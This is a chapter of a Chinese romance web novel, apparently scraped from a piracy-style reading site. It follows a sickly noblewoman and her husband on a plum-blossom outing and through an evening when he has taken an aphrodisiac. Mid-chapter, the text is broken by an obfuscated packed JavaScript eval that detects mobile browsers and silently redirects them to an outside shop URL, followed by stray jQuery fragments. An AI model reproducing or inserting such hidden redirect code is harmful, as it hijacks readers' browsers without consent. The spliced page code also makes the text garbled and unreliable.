文趣网 > 其他小说 > 假夫君夺她上位 > 14. 第14章
    毡毯四角用青石压住,中间摆上一只小小的紫铜风炉,炉膛里炭火燃烧,炉上设铁壶放上雪水烹煮。

    沈榷拉着陆雁芝在毡毯上坐了下来,往她腰后垫了一只厚厚的靠枕,怀里又塞了一只珐琅小手炉。

    “怎么样?还觉得冷吗?”沈榷蹲下身子,替她将斗篷帽戴好。

    陆雁芝摇了摇头,风从背后吹来,被坡势挡住大半,阳光倒是毫无遮拦地洒下来,晒在肩背上,隔着狐皮斗篷也能感觉到暖融融的。

    铁壶里的雪水很快沸了,水汽冲开壶盖,凝成一团白雾,沈榷提起铁壶冲茶,滚水注入杯中,茶香被风一吹,竟飘出好几步远。

    “喝点热茶,暖暖身子。”沈榷将茶杯递到陆雁芝的近前。

    陆雁芝想说沈榷实在过于谨慎了,可转念一想,她一个病人还是配合才是,不然下次可没有这样的好事了。

    她捧起茶杯,茶香混着枯草和泥土的气息,有种特别的味道。

    听竹取了几颗油亮的板栗,将其一颗颗埋进了炭灰里,又取出两只蜜橘,将皮剥开放在炉边,尚未烤热,便有一股清冽的橘香渗进空气。

    陆雁芝用竹夹子翻烤栗子的空隙,沈榷竟是靠在坡上睡着了。

    她缓缓凑到近前,少年呼吸清浅,日光下的冷白肌肤隐隐可见淡青色的血管。

    晚萤从马车里取来一张毯子,盖在了沈榷的身上。

    此时,炭灰里的板栗突然“啪”地爆开,裂出一条缝来,香气便从裂缝里钻了出来。

    晚萤忙将烤熟的板栗从炭灰里夹出,放在手帕上晾着。

    听竹拉着照雪跑进了梅林摘花,裴轻鸿则直接上了树。

    草坡上倒是安静了下来,唯有炭火里时而蹦出板栗爆开的脆响。

    陆雁芝取走一颗板栗,剥开外壳,果肉金黄,一口咬下,纷纷糯糯,香甜可口。

    “听竹和照雪怎么还没回,板栗和橘子都好了,再不吃就冷了。”晚萤将烤好的板栗和蜜橘都挑到了一旁。

    “我去梅林看看。”说话间,陆雁芝准备起身。

    “还是让奴婢去吧。”晚萤不放心陆雁芝独自前往,随即搁下手里的竹夹子。

    “放心吧,有他在我不会有事。”陆雁芝伸出手指,指了指挂在树上的裴轻鸿。

    晚萤见状这才松口:“那主子你别走太远了。”

    陆雁芝点了点头,正好她也想去梅林走走,此刻日头正当空,是一天中最暖和的,正是个散心的好时候。

    陆雁芝走后不久,沈榷便醒了。

    他一看身旁没了陆雁芝的身影,整个人迅速省了神。

    一问晚萤才知陆雁芝去了梅林,他便又跟了过去。

    腊梅的枝条总是细瘦且曲折,花却开得热闹,一树一树的鹅黄,密匝匝地缀在枝头,远望过去像是把碎金子撒遍了人间。

    陆雁芝沿着林间的小径慢慢走,昨夜融雪的水汽还没完全散去,空气里有一丝凉润的触感。

    沈榷来时,便见她立在花丛里,阳光从枝桠间漏下来,碎成无数细小的光斑,落在她的肩头、发顶、和微微抬起的手背上。

    她面前的梅树有些年头,枝干虬曲苍劲,树皮上生出一层青苔,被冬日的太阳晒得半干,泛着湿润的翠色。

    “这株少说也有五十年了。”沈榷走到她的身后。

    陆雁芝伸出手,随即有风送来几片花瓣落于她的掌心,冷香随之漫上鼻翼,混着冬日霜风的淡涩,极轻极浅,吹一口气便散去大半,指尖只余花瓣的清寒。

    “五十年,该见过很多个冬天了。”陆雁芝看着面前的梅树,竟是有些羡慕。

    她大抵……是见不到更多了。

    空气有一瞬间的凝滞,仿佛这世间万物在这一刻都变得暗淡下去。

    陆雁芝垂着眸有些失神,这时,一只手臂从后面环住了她的肩膀,暖意从后背贴了上来,少年温热的呼吸扑打在她的后颈。

    “你也可以,六十年,七十年,甚至更久……”

    陆雁芝苦笑,身边人总说她能长命百岁,起初她是开心的,可后来竟是连自欺欺人也做不到了。

    她明知自己大限将至,却还是不忍见到他们伤心难受的模样,于是她总是会下意识地说出那句。

    “好啊,听你的。”她伸手,拍了拍少年环住她的手臂,像是宽慰。

    他的手臂结实、精壮,让她忍不住想要依附上去。

    “有些累了,让我靠一下好吗?”陆雁芝说完,勾唇笑了笑,便将重心靠向身后。

    沈榷顺势揽住她的腰肢,将她揽入怀中。

    少女的温软充蚀着他的每一寸肌肤,像是致命的曼陀罗花,诱着人一点点沉溺其中。

    沈榷闭了闭眼,压下异样的心绪,一垂眸便见陆雁芝一脸安逸地仰在他怀里,花瓣恰好落在她的眉心,像是精心设计好的妆容,淡雅之中平添清丽。

    他垂首,情不自禁地在她发上落下轻轻一吻。

    她未有察觉,少年却是先乱了呼吸。

    ……

    二人回去时,听竹和照雪已经回来了。

    茶案上多出了几支新鲜的腊梅,花苞被融雪润过,鹅黄里泛着一点水光。

    听竹将蜜橘一瓣瓣剥开,端到了陆雁芝的位置前。

    过了未时,日头便开始西斜,城郊的风一吹,晌午残留的热气便消散个干净。

    寒意会比暮色先一步到来。

    一行人收拾了家伙,便准备打道回府。

    陆雁芝上了马车,满室温暖,乏意便不由自主地席卷而来。

    等到她一觉醒来,晚膳的饭香已经飘到了鼻下。

    今日沈榷人在府上,晚膳也比寻常更加丰盛,只是今日沈榷却好像没什么胃口。

    “你怎么头上这么多汗?可是有哪里不舒服?”陆雁芝搁下碗筷,伸手去碰他的额头。

    沈榷却好似触电了一般,一个激灵猛地站起了身。

    “我……去沐浴。”他深深看了眼陆雁芝,眼底似有火苗忽闪忽灭。

    陆雁芝一脸纳闷地侧头,端详他离开的背影:“他是怎么了?”

    “郡马瞧着不太舒服,要不要请个大夫来?”晚萤问道。

    “郡马那身子骨壮得像头牛,应该不会有什么大碍吧?”听竹觉得有些小题大做。

    陆雁芝思虑再三,还是决定请大夫

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644547|206666||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    沈榷从盥室出来后,情况并无好转。

    大夫正巧在这时候赶来了,两边便面对面坐了下来。

    大夫看了看沈榷,又看了看坐在一旁的陆雁芝,神情透着古怪。

    “郡马的症状,若是老夫没诊错,应是误服了□□。”

    沈榷闻言沉默半晌,神色平静,透着一丝诡异的疯感:“如何能解?”

    “老夫这就为你开药,药一旦起效,半柱香内方解。”

    “有劳大夫。”沈榷手扶着额头,像是没了脾气。

    下人拿了药方,便即刻下去准备。

    陆雁芝坐在一旁,静静地观察他的脸色。

    约莫是察觉到气氛的不对,沈榷犹疑地看向她,却又像被火燎着似的,迅速转移了视线。

    “你不用管我,我服下药后便会无碍。”

    “怎会误服?”陆雁芝端着下颌,一脸探究地看着他。

    沈榷被盯得后背发毛,道:“应是裴轻鸿给我配错了药。”

    “以后这样的事,还是交给我吧。”陆雁芝温声说着,执起帕子轻轻擦拭着他额际的细汗。

    沈榷一把捉住她的手腕,眼神先是迷惘,在与她眸光触碰的瞬间,又变得灼热。

    “别闹!”他将脑袋压得更低了些,耳根却红到滴血。

    陆雁芝一时有些茫然:“你我不是夫妻吗?为何你要避我?”

    他猛地抬起头,双目赤红地看向她:“陆雁芝,你把方才的话再说一遍!”

    陆雁芝径直望着他,眼底似有笑意:“我说我可以帮你。”

    那一刻,沈榷只觉得脑子里有什么东西炸开了。

    少女旖旎的红唇好似罂粟,引他着迷、上瘾,明知不可为,却忍不住想要摘下它,一点点放入口中咀嚼、品尝,最终吞噬入腹。

    ……

    深夜烛火摇曳,火舌缠缠绵绵晃个不停,一室燥热。

    沈榷半跪在陆雁芝的榻前,手里拿着一块温热的湿帕,轻轻擦拭着少女依旧滚烫的玉指。

    陆雁芝面颊透着绯色,不愿直视沈榷的眼睛。

    沈榷看着陆雁芝的模样,有些失笑,明明方才是她说要帮他,怎么最后搞得好像是他欺负了她似的。

    陆雁芝揉了揉有些僵硬的手腕,目光忽而定格在沈榷手里的湿帕,上面一朵红梅开得娇艳炫目。

    “是我上次送你的绣帕?”陆雁芝问道。

    沈榷指尖轻轻摩挲绣帕上的红梅:“我哪里还有第二条?”

    “怎么还留着?”

    “喜欢。”沈榷答得坦然。

    陆雁芝虽不理解,但尊重。

    二人等着药煎好送来,便下棋打发时间。

    沈榷的棋艺依旧没什么长进,陆雁芝边把玩着沈榷的青玉扳指,边问道:“这几日你为何睡不好?可是有什么烦心事?”

    沈榷反握住她不安分的手指,深深凝视着她:“夫人想知道?”

    “因我而起?”陆雁芝隐隐猜到了些苗头,似是有意逃避着什么,下意识地收回手。

    “夫人怎么不继续问下去?”沈榷迅速捉住了她逃窜的手,眼底的笑意越发玩味。